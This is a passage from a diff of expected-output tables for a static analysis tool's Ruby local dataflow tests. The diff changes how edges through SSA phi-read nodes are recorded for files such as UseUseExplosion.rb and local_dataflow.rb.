 | UseUseExplosion.rb:20:3387:20:3392 | call to use | UseUseExplosion.rb:20:3382:20:3392 | else ... |
-| UseUseExplosion.rb:20:3387:20:3392 | self | UseUseExplosion.rb:20:3382:20:3392 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:3391:20:3391 | x | UseUseExplosion.rb:20:3382:20:3392 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:3398:20:3408 | [input] SSA phi read(self) | UseUseExplosion.rb:20:388:20:3412 | SSA phi read(self) |
-| UseUseExplosion.rb:20:3398:20:3408 | [input] SSA phi read(x) | UseUseExplosion.rb:20:388:20:3412 | SSA phi read(x) |
+| UseUseExplosion.rb:20:3387:20:3392 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:3391:20:3391 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:3398:20:3408 | else ... | UseUseExplosion.rb:20:388:20:3412 | if ... |
-| UseUseExplosion.rb:20:3403:20:3408 | [post] self | UseUseExplosion.rb:20:3398:20:3408 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:3403:20:3408 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:3403:20:3408 | call to use | UseUseExplosion.rb:20:3398:20:3408 | else ... |
-| UseUseExplosion.rb:20:3403:20:3408 | self | UseUseExplosion.rb:20:3398:20:3408 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:3407:20:3407 | x | UseUseExplosion.rb:20:3398:20:3408 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:3414:20:3424 | [input] SSA phi read(self) | UseUseExplosion.rb:20:367:20:3428 | SSA phi read(self) |
-| UseUseExplosion.rb:20:3414:20:3424 | [input] SSA phi read(x) | UseUseExplosion.rb:20:367:20:3428 | SSA phi read(x) |
+| UseUseExplosion.rb:20:3403:20:3408 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:3407:20:3407 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:3414:20:3424 | else ... | UseUseExplosion.rb:20:367:20:3428 | if ... |
-| UseUseExplosion.rb:20:3419:20:3424 | [post] self | UseUseExplosion.rb:20:3414:20:3424 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:3419:20:3424 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:3419:20:3424 | call to use | UseUseExplosion.rb:20:3414:20:3424 | else ... |
-| UseUseExplosion.rb:20:3419:20:3424 | self | UseUseExplosion.rb:20:3414:20:3424 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:3423:20:3423 | x | UseUseExplosion.rb:20:3414:20:3424 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:3430:20:3440 | [input] SSA phi read(self) | UseUseExplosion.rb:20:346:20:3444 | SSA phi read(self) |
-| UseUseExplosion.rb:20:3430:20:3440 | [input] SSA phi read(x) | UseUseExplosion.rb:20:346:20:3444 | SSA phi read(x) |
+| UseUseExplosion.rb:20:3419:20:3424 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:3423:20:3423 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:3430:20:3440 | else ... | UseUseExplosion.rb:20:346:20:3444 | if ... |
-| UseUseExplosion.rb:20:3435:20:3440 | [post] self | UseUseExplosion.rb:20:3430:20:3440 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:3435:20:3440 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:3435:20:3440 | call to use | UseUseExplosion.rb:20:3430:20:3440 | else ... |
-| UseUseExplosion.rb:20:3435:20:3440 | self | UseUseExplosion.rb:20:3430:20:3440 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:3439:20:3439 | x | UseUseExplosion.rb:20:3430:20:3440 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:3446:20:3456 | [input] SSA phi read(self) | UseUseExplosion.rb:20:325:20:3460 | SSA phi read(self) |
-| UseUseExplosion.rb:20:3446:20:3456 | [input] SSA phi read(x) | UseUseExplosion.rb:20:325:20:3460 | SSA phi read(x) |
+| UseUseExplosion.rb:20:3435:20:3440 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:3439:20:3439 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:3446:20:3456 | else ... | UseUseExplosion.rb:20:325:20:3460 | if ... |
-| UseUseExplosion.rb:20:3451:20:3456 | [post] self | UseUseExplosion.rb:20:3446:20:3456 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:3451:20:3456 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:3451:20:3456 | call to use | UseUseExplosion.rb:20:3446:20:3456 | else ... |
-| UseUseExplosion.rb:20:3451:20:3456 | self | UseUseExplosion.rb:20:3446:20:3456 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:3455:20:3455 | x | UseUseExplosion.rb:20:3446:20:3456 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:3462:20:3472 | [input] SSA phi read(self) | UseUseExplosion.rb:20:304:20:3476 | SSA phi read(self) |
-| UseUseExplosion.rb:20:3462:20:3472 | [input] SSA phi read(x) | UseUseExplosion.rb:20:304:20:3476 | SSA phi read(x) |
+| UseUseExplosion.rb:20:3451:20:3456 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:3455:20:3455 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:3462:20:3472 | else ... | UseUseExplosion.rb:20:304:20:3476 | if ... |
-| UseUseExplosion.rb:20:3467:20:3472 | [post] self | UseUseExplosion.rb:20:3462:20:3472 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:3467:20:3472 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:3467:20:3472 | call to use | UseUseExplosion.rb:20:3462:20:3472 | else ... |
-| UseUseExplosion.rb:20:3467:20:3472 | self | UseUseExplosion.rb:20:3462:20:3472 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:3471:20:3471 | x | UseUseExplosion.rb:20:3462:20:3472 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:3478:20:3488 | [input] SSA phi read(self) | UseUseExplosion.rb:20:283:20:3492 | SSA phi read(self) |
-| UseUseExplosion.rb:20:3478:20:3488 | [input] SSA phi read(x) | UseUseExplosion.rb:20:283:20:3492 | SSA phi read(x) |
+| UseUseExplosion.rb:20:3467:20:3472 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:3471:20:3471 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:3478:20:3488 | else ... | UseUseExplosion.rb:20:283:20:3492 | if ... |
-| UseUseExplosion.rb:20:3483:20:3488 | [post] self | UseUseExplosion.rb:20:3478:20:3488 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:3483:20:3488 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:3483:20:3488 | call to use | UseUseExplosion.rb:20:3478:20:3488 | else ... |
-| UseUseExplosion.rb:20:3483:20:3488 | self | UseUseExplosion.rb:20:3478:20:3488 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:3487:20:3487 | x | UseUseExplosion.rb:20:3478:20:3488 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:3494:20:3504 | [input] SSA phi read(self) | UseUseExplosion.rb:20:262:20:3508 | SSA phi read(self) |
-| UseUseExplosion.rb:20:3494:20:3504 | [input] SSA phi read(x) | UseUseExplosion.rb:20:262:20:3508 | SSA phi read(x) |
+| UseUseExplosion.rb:20:3483:20:3488 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:3487:20:3487 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:3494:20:3504 | else ... | UseUseExplosion.rb:20:262:20:3508 | if ... |
-| UseUseExplosion.rb:20:3499:20:3504 | [post] self | UseUseExplosion.rb:20:3494:20:3504 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:3499:20:3504 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:3499:20:3504 | call to use | UseUseExplosion.rb:20:3494:20:3504 | else ... |
-| UseUseExplosion.rb:20:3499:20:3504 | self | UseUseExplosion.rb:20:3494:20:3504 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:3503:20:3503 | x | UseUseExplosion.rb:20:3494:20:3504 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:3510:20:3520 | [input] SSA phi read(self) | UseUseExplosion.rb:20:241:20:3524 | SSA phi read(self) |
-| UseUseExplosion.rb:20:3510:20:3520 | [input] SSA phi read(x) | UseUseExplosion.rb:20:241:20:3524 | SSA phi read(x) |
+| UseUseExplosion.rb:20:3499:20:3504 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:3503:20:3503 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:3510:20:3520 | else ... | UseUseExplosion.rb:20:241:20:3524 | if ... |
-| UseUseExplosion.rb:20:3515:20:3520 | [post] self | UseUseExplosion.rb:20:3510:20:3520 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:3515:20:3520 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:3515:20:3520 | call to use | UseUseExplosion.rb:20:3510:20:3520 | else ... |
-| UseUseExplosion.rb:20:3515:20:3520 | self | UseUseExplosion.rb:20:3510:20:3520 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:3519:20:3519 | x | UseUseExplosion.rb:20:3510:20:3520 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:3526:20:3536 | [input] SSA phi read(self) | UseUseExplosion.rb:20:220:20:3540 | SSA phi read(self) |
-| UseUseExplosion.rb:20:3526:20:3536 | [input] SSA phi read(x) | UseUseExplosion.rb:20:220:20:3540 | SSA phi read(x) |
+| UseUseExplosion.rb:20:3515:20:3520 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:3519:20:3519 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:3526:20:3536 | else ... | UseUseExplosion.rb:20:220:20:3540 | if ... |
-| UseUseExplosion.rb:20:3531:20:3536 | [post] self | UseUseExplosion.rb:20:3526:20:3536 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:3531:20:3536 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:3531:20:3536 | call to use | UseUseExplosion.rb:20:3526:20:3536 | else ... |
-| UseUseExplosion.rb:20:3531:20:3536 | self | UseUseExplosion.rb:20:3526:20:3536 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:3535:20:3535 | x | UseUseExplosion.rb:20:3526:20:3536 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:3542:20:3552 | [input] SSA phi read(self) | UseUseExplosion.rb:20:199:20:3556 | SSA phi read(self) |
-| UseUseExplosion.rb:20:3542:20:3552 | [input] SSA phi read(x) | UseUseExplosion.rb:20:199:20:3556 | SSA phi read(x) |
+| UseUseExplosion.rb:20:3531:20:3536 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:3535:20:3535 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:3542:20:3552 | else ... | UseUseExplosion.rb:20:199:20:3556 | if ... |
-| UseUseExplosion.rb:20:3547:20:3552 | [post] self | UseUseExplosion.rb:20:3542:20:3552 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:3547:20:3552 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:3547:20:3552 | call to use | UseUseExplosion.rb:20:3542:20:3552 | else ... |
-| UseUseExplosion.rb:20:3547:20:3552 | self | UseUseExplosion.rb:20:3542:20:3552 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:3551:20:3551 | x | UseUseExplosion.rb:20:3542:20:3552 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:3558:20:3568 | [input] SSA phi read(self) | UseUseExplosion.rb:20:178:20:3572 | SSA phi read(self) |
-| UseUseExplosion.rb:20:3558:20:3568 | [input] SSA phi read(x) | UseUseExplosion.rb:20:178:20:3572 | SSA phi read(x) |
+| UseUseExplosion.rb:20:3547:20:3552 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:3551:20:3551 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:3558:20:3568 | else ... | UseUseExplosion.rb:20:178:20:3572 | if ... |
-| UseUseExplosion.rb:20:3563:20:3568 | [post] self | UseUseExplosion.rb:20:3558:20:3568 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:3563:20:3568 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:3563:20:3568 | call to use | UseUseExplosion.rb:20:3558:20:3568 | else ... |
-| UseUseExplosion.rb:20:3563:20:3568 | self | UseUseExplosion.rb:20:3558:20:3568 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:3567:20:3567 | x | UseUseExplosion.rb:20:3558:20:3568 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:3574:20:3584 | [input] SSA phi read(self) | UseUseExplosion.rb:20:157:20:3588 | SSA phi read(self) |
-| UseUseExplosion.rb:20:3574:20:3584 | [input] SSA phi read(x) | UseUseExplosion.rb:20:157:20:3588 | SSA phi read(x) |
+| UseUseExplosion.rb:20:3563:20:3568 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:3567:20:3567 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:3574:20:3584 | else ... | UseUseExplosion.rb:20:157:20:3588 | if ... |
-| UseUseExplosion.rb:20:3579:20:3584 | [post] self | UseUseExplosion.rb:20:3574:20:3584 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:3579:20:3584 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:3579:20:3584 | call to use | UseUseExplosion.rb:20:3574:20:3584 | else ... |
-| UseUseExplosion.rb:20:3579:20:3584 | self | UseUseExplosion.rb:20:3574:20:3584 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:3583:20:3583 | x | UseUseExplosion.rb:20:3574:20:3584 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:3590:20:3600 | [input] SSA phi read(self) | UseUseExplosion.rb:20:136:20:3604 | SSA phi read(self) |
-| UseUseExplosion.rb:20:3590:20:3600 | [input] SSA phi read(x) | UseUseExplosion.rb:20:136:20:3604 | SSA phi read(x) |
+| UseUseExplosion.rb:20:3579:20:3584 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:3583:20:3583 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:3590:20:3600 | else ... | UseUseExplosion.rb:20:136:20:3604 | if ... |
-| UseUseExplosion.rb:20:3595:20:3600 | [post] self | UseUseExplosion.rb:20:3590:20:3600 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:3595:20:3600 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:3595:20:3600 | call to use | UseUseExplosion.rb:20:3590:20:3600 | else ... |
-| UseUseExplosion.rb:20:3595:20:3600 | self | UseUseExplosion.rb:20:3590:20:3600 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:3599:20:3599 | x | UseUseExplosion.rb:20:3590:20:3600 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:3606:20:3616 | [input] SSA phi read(self) | UseUseExplosion.rb:20:115:20:3620 | SSA phi read(self) |
-| UseUseExplosion.rb:20:3606:20:3616 | [input] SSA phi read(x) | UseUseExplosion.rb:20:115:20:3620 | SSA phi read(x) |
+| UseUseExplosion.rb:20:3595:20:3600 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:3599:20:3599 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:3606:20:3616 | else ... | UseUseExplosion.rb:20:115:20:3620 | if ... |
-| UseUseExplosion.rb:20:3611:20:3616 | [post] self | UseUseExplosion.rb:20:3606:20:3616 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:3611:20:3616 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:3611:20:3616 | call to use | UseUseExplosion.rb:20:3606:20:3616 | else ... |
-| UseUseExplosion.rb:20:3611:20:3616 | self | UseUseExplosion.rb:20:3606:20:3616 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:3615:20:3615 | x | UseUseExplosion.rb:20:3606:20:3616 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:3622:20:3632 | [input] SSA phi read(self) | UseUseExplosion.rb:20:94:20:3636 | SSA phi read(self) |
-| UseUseExplosion.rb:20:3622:20:3632 | [input] SSA phi read(x) | UseUseExplosion.rb:20:94:20:3636 | SSA phi read(x) |
+| UseUseExplosion.rb:20:3611:20:3616 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:3615:20:3615 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:3622:20:3632 | else ... | UseUseExplosion.rb:20:94:20:3636 | if ... |
-| UseUseExplosion.rb:20:3627:20:3632 | [post] self | UseUseExplosion.rb:20:3622:20:3632 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:3627:20:3632 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:3627:20:3632 | call to use | UseUseExplosion.rb:20:3622:20:3632 | else ... |
-| UseUseExplosion.rb:20:3627:20:3632 | self | UseUseExplosion.rb:20:3622:20:3632 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:3631:20:3631 | x | UseUseExplosion.rb:20:3622:20:3632 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:3638:20:3648 | [input] SSA phi read(self) | UseUseExplosion.rb:20:73:20:3652 | SSA phi read(self) |
-| UseUseExplosion.rb:20:3638:20:3648 | [input] SSA phi read(x) | UseUseExplosion.rb:20:73:20:3652 | SSA phi read(x) |
+| UseUseExplosion.rb:20:3627:20:3632 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:3631:20:3631 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:3638:20:3648 | else ... | UseUseExplosion.rb:20:73:20:3652 | if ... |
-| UseUseExplosion.rb:20:3643:20:3648 | [post] self | UseUseExplosion.rb:20:3638:20:3648 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:3643:20:3648 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:3643:20:3648 | call to use | UseUseExplosion.rb:20:3638:20:3648 | else ... |
-| UseUseExplosion.rb:20:3643:20:3648 | self | UseUseExplosion.rb:20:3638:20:3648 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:3647:20:3647 | x | UseUseExplosion.rb:20:3638:20:3648 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:3654:20:3664 | [input] SSA phi read(self) | UseUseExplosion.rb:20:52:20:3668 | SSA phi read(self) |
-| UseUseExplosion.rb:20:3654:20:3664 | [input] SSA phi read(x) | UseUseExplosion.rb:20:52:20:3668 | SSA phi read(x) |
+| UseUseExplosion.rb:20:3643:20:3648 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:3647:20:3647 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:3654:20:3664 | else ... | UseUseExplosion.rb:20:52:20:3668 | if ... |
-| UseUseExplosion.rb:20:3659:20:3664 | [post] self | UseUseExplosion.rb:20:3654:20:3664 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:3659:20:3664 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:3659:20:3664 | call to use | UseUseExplosion.rb:20:3654:20:3664 | else ... |
-| UseUseExplosion.rb:20:3659:20:3664 | self | UseUseExplosion.rb:20:3654:20:3664 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:3663:20:3663 | x | UseUseExplosion.rb:20:3654:20:3664 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:3670:20:3680 | [input] SSA phi read(self) | UseUseExplosion.rb:20:31:20:3684 | SSA phi read(self) |
-| UseUseExplosion.rb:20:3670:20:3680 | [input] SSA phi read(x) | UseUseExplosion.rb:20:31:20:3684 | SSA phi read(x) |
+| UseUseExplosion.rb:20:3659:20:3664 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:3663:20:3663 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:3670:20:3680 | else ... | UseUseExplosion.rb:20:31:20:3684 | if ... |
-| UseUseExplosion.rb:20:3675:20:3680 | [post] self | UseUseExplosion.rb:20:3670:20:3680 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:3675:20:3680 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:3675:20:3680 | call to use | UseUseExplosion.rb:20:3670:20:3680 | else ... |
-| UseUseExplosion.rb:20:3675:20:3680 | self | UseUseExplosion.rb:20:3670:20:3680 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:3679:20:3679 | x | UseUseExplosion.rb:20:3670:20:3680 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:3686:20:3696 | [input] SSA phi read(self) | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(self) |
-| UseUseExplosion.rb:20:3686:20:3696 | [input] SSA phi read(x) | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
+| UseUseExplosion.rb:20:3675:20:3680 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:3679:20:3679 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:3686:20:3696 | else ... | UseUseExplosion.rb:20:9:20:3700 | if ... |
-| UseUseExplosion.rb:20:3691:20:3696 | [post] self | UseUseExplosion.rb:20:3686:20:3696 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:3691:20:3696 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:3691:20:3696 | call to use | UseUseExplosion.rb:20:3686:20:3696 | else ... |
-| UseUseExplosion.rb:20:3691:20:3696 | self | UseUseExplosion.rb:20:3686:20:3696 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:3695:20:3695 | x | UseUseExplosion.rb:20:3686:20:3696 | [input] SSA phi read(x) |
+| UseUseExplosion.rb:20:3691:20:3696 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:3695:20:3695 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:21:13:21:17 | [post] self | UseUseExplosion.rb:21:35:21:39 | self |
 | UseUseExplosion.rb:21:13:21:17 | [post] self | UseUseExplosion.rb:21:3691:21:3696 | self |
 | UseUseExplosion.rb:21:13:21:17 | self | UseUseExplosion.rb:21:35:21:39 | self |
@@ -3139,12 +2542,11 @@
 | local_dataflow.rb:10:5:13:3 | call to each | local_dataflow.rb:10:5:13:3 | ... |
 | local_dataflow.rb:10:9:10:9 | ... = ... | local_dataflow.rb:10:9:10:9 | if ... |
 | local_dataflow.rb:10:9:10:9 | [input] phi | local_dataflow.rb:10:9:10:9 | phi |
-| local_dataflow.rb:10:9:10:9 | [input] phi | local_dataflow.rb:10:9:10:9 | phi |
 | local_dataflow.rb:10:9:10:9 | [post] x | local_dataflow.rb:10:9:10:9 | [input] phi |
 | local_dataflow.rb:10:9:10:9 | nil | local_dataflow.rb:10:9:10:9 | ... = ... |
 | local_dataflow.rb:10:9:10:9 | nil | local_dataflow.rb:10:9:10:9 | x |
 | local_dataflow.rb:10:9:10:9 | x | local_dataflow.rb:10:9:10:9 | [input] phi |
-| local_dataflow.rb:10:9:10:9 | x | local_dataflow.rb:10:9:10:9 | [input] phi |
+| local_dataflow.rb:10:9:10:9 | x | local_dataflow.rb:10:9:10:9 | phi |
 | local_dataflow.rb:10:9:10:9 | x | local_dataflow.rb:12:5:12:5 | x |
 | local_dataflow.rb:10:14:10:18 | [post] array | local_dataflow.rb:15:10:15:14 | array |
 | local_dataflow.rb:10:14:10:18 | array | local_dataflow.rb:15:10:15:14 | array |
@@ -3158,12 +2560,11 @@
 | local_dataflow.rb:15:1:17:3 | call to each | local_dataflow.rb:15:1:17:3 | ... |
 | local_dataflow.rb:15:5:15:5 | ... = ... | local_dataflow.rb:15:5:15:5 | if ... |
 | local_dataflow.rb:15:5:15:5 | [input] phi | local_dataflow.rb:15:5:15:5 | phi |
-| local_dataflow.rb:15:5:15:5 | [input] phi | local_dataflow.rb:15:5:15:5 | phi |
 | local_dataflow.rb:15:5:15:5 | [post] x | local_dataflow.rb:15:5:15:5 | [input] phi |
 | local_dataflow.rb:15:5:15:5 | nil | local_dataflow.rb:15:5:15:5 | ... = ... |
 | local_dataflow.rb:15:5:15:5 | nil | local_dataflow.rb:15:5:15:5 | x |
 | local_dataflow.rb:15:5:15:5 | x | local_dataflow.rb:15:5:15:5 | [input] phi |
-| local_dataflow.rb:15:5:15:5 | x | local_dataflow.rb:15:5:15:5 | [input] phi |
+| local_dataflow.rb:15:5:15:5 | x | local_dataflow.rb:15:5:15:5 | phi |
 | local_dataflow.rb:15:10:15:14 | [post] array | local_dataflow.rb:19:10:19:14 | array |
 | local_dataflow.rb:15:10:15:14 | array | local_dataflow.rb:19:10:19:14 | array |
 | local_dataflow.rb:16:9:16:10 | 10 | local_dataflow.rb:16:3:16:10 | break |
@@ -3174,12 +2575,11 @@
 | local_dataflow.rb:19:1:21:3 | call to each | local_dataflow.rb:19:1:21:3 | ... |
 | local_dataflow.rb:19:5:19:5 | ... = ... | local_dataflow.rb:19:5:19:5 | if ... |
 | local_dataflow.rb:19:5:19:5 | [input] phi | local_dataflow.rb:19:5:19:5 | phi |
-| local_dataflow.rb:19:5:19:5 | [input] phi | local_dataflow.rb:19:5:19:5 | phi |
 | local_dataflow.rb:19:5:19:5 | [post] x | local_dataflow.rb:19:5:19:5 | [input] phi |
 | local_dataflow.rb:19:5:19:5 | nil | local_dataflow.rb:19:5:19:5 | ... = ... |
 | local_dataflow.rb:19:5:19:5 | nil | local_dataflow.rb:19:5:19:5 | x |
 | local_dataflow.rb:19:5:19:5 | x | local_dataflow.rb:19:5:19:5 | [input] phi |
-| local_dataflow.rb:19:5:19:5 | x | local_dataflow.rb:19:5:19:5 | [input] phi |
+| local_dataflow.rb:19:5:19:5 | x | local_dataflow.rb:19:5:19:5 | phi |
 | local_dataflow.rb:19:5:19:5 | x | local_dataflow.rb:20:6:20:6 | x |
 | local_dataflow.rb:24:2:24:8 | break | local_dataflow.rb:23:1:25:3 | while ... |
 | local_dataflow.rb:24:8:24:8 | 5 | local_dataflow.rb:24:2:24:8 | break |
@@ -3208,27 +2608,23 @@
 | local_dataflow.rb:60:1:90:3 | self in test_case | local_dataflow.rb:60:1:90:3 | self (test_case) |
 | local_dataflow.rb:60:15:60:15 | x | local_dataflow.rb:60:15:60:15 | x |
 | local_dataflow.rb:60:15:60:15 | x | local_dataflow.rb:61:12:61:12 | x |
-| local_dataflow.rb:61:7:68:5 | SSA phi read(x) | local_dataflow.rb:69:12:69:12 | x |
 | local_dataflow.rb:61:7:68:5 | case ... | local_dataflow.rb:61:3:68:5 | ... = ... |
 | local_dataflow.rb:61:12:61:12 | x | local_dataflow.rb:62:10:62:15 | [input] SSA phi read(x) |
 | local_dataflow.rb:61:12:61:12 | x | local_dataflow.rb:63:15:63:15 | x |
 | local_dataflow.rb:61:12:61:12 | x | local_dataflow.rb:65:6:65:6 | x |
 | local_dataflow.rb:61:12:61:12 | x | local_dataflow.rb:67:5:67:5 | x |
-| local_dataflow.rb:62:10:62:15 | [input] SSA phi read(x) | local_dataflow.rb:61:7:68:5 | SSA phi read(x) |
+| local_dataflow.rb:62:10:62:15 | [input] SSA phi read(x) | local_dataflow.rb:69:12:69:12 | x |
 | local_dataflow.rb:62:10:62:15 | then ... | local_dataflow.rb:61:7:68:5 | case ... |
 | local_dataflow.rb:62:15:62:15 | 3 | local_dataflow.rb:62:10:62:15 | then ... |
-| local_dataflow.rb:63:10:63:15 | [input] SSA phi read(x) | local_dataflow.rb:61:7:68:5 | SSA phi read(x) |
 | local_dataflow.rb:63:10:63:15 | then ... | local_dataflow.rb:61:7:68:5 | case ... |
-| local_dataflow.rb:63:15:63:15 | x | local_dataflow.rb:63:10:63:15 | [input] SSA phi read(x) |
 | local_dataflow.rb:63:15:63:15 | x | local_dataflow.rb:63:10:63:15 | then ... |
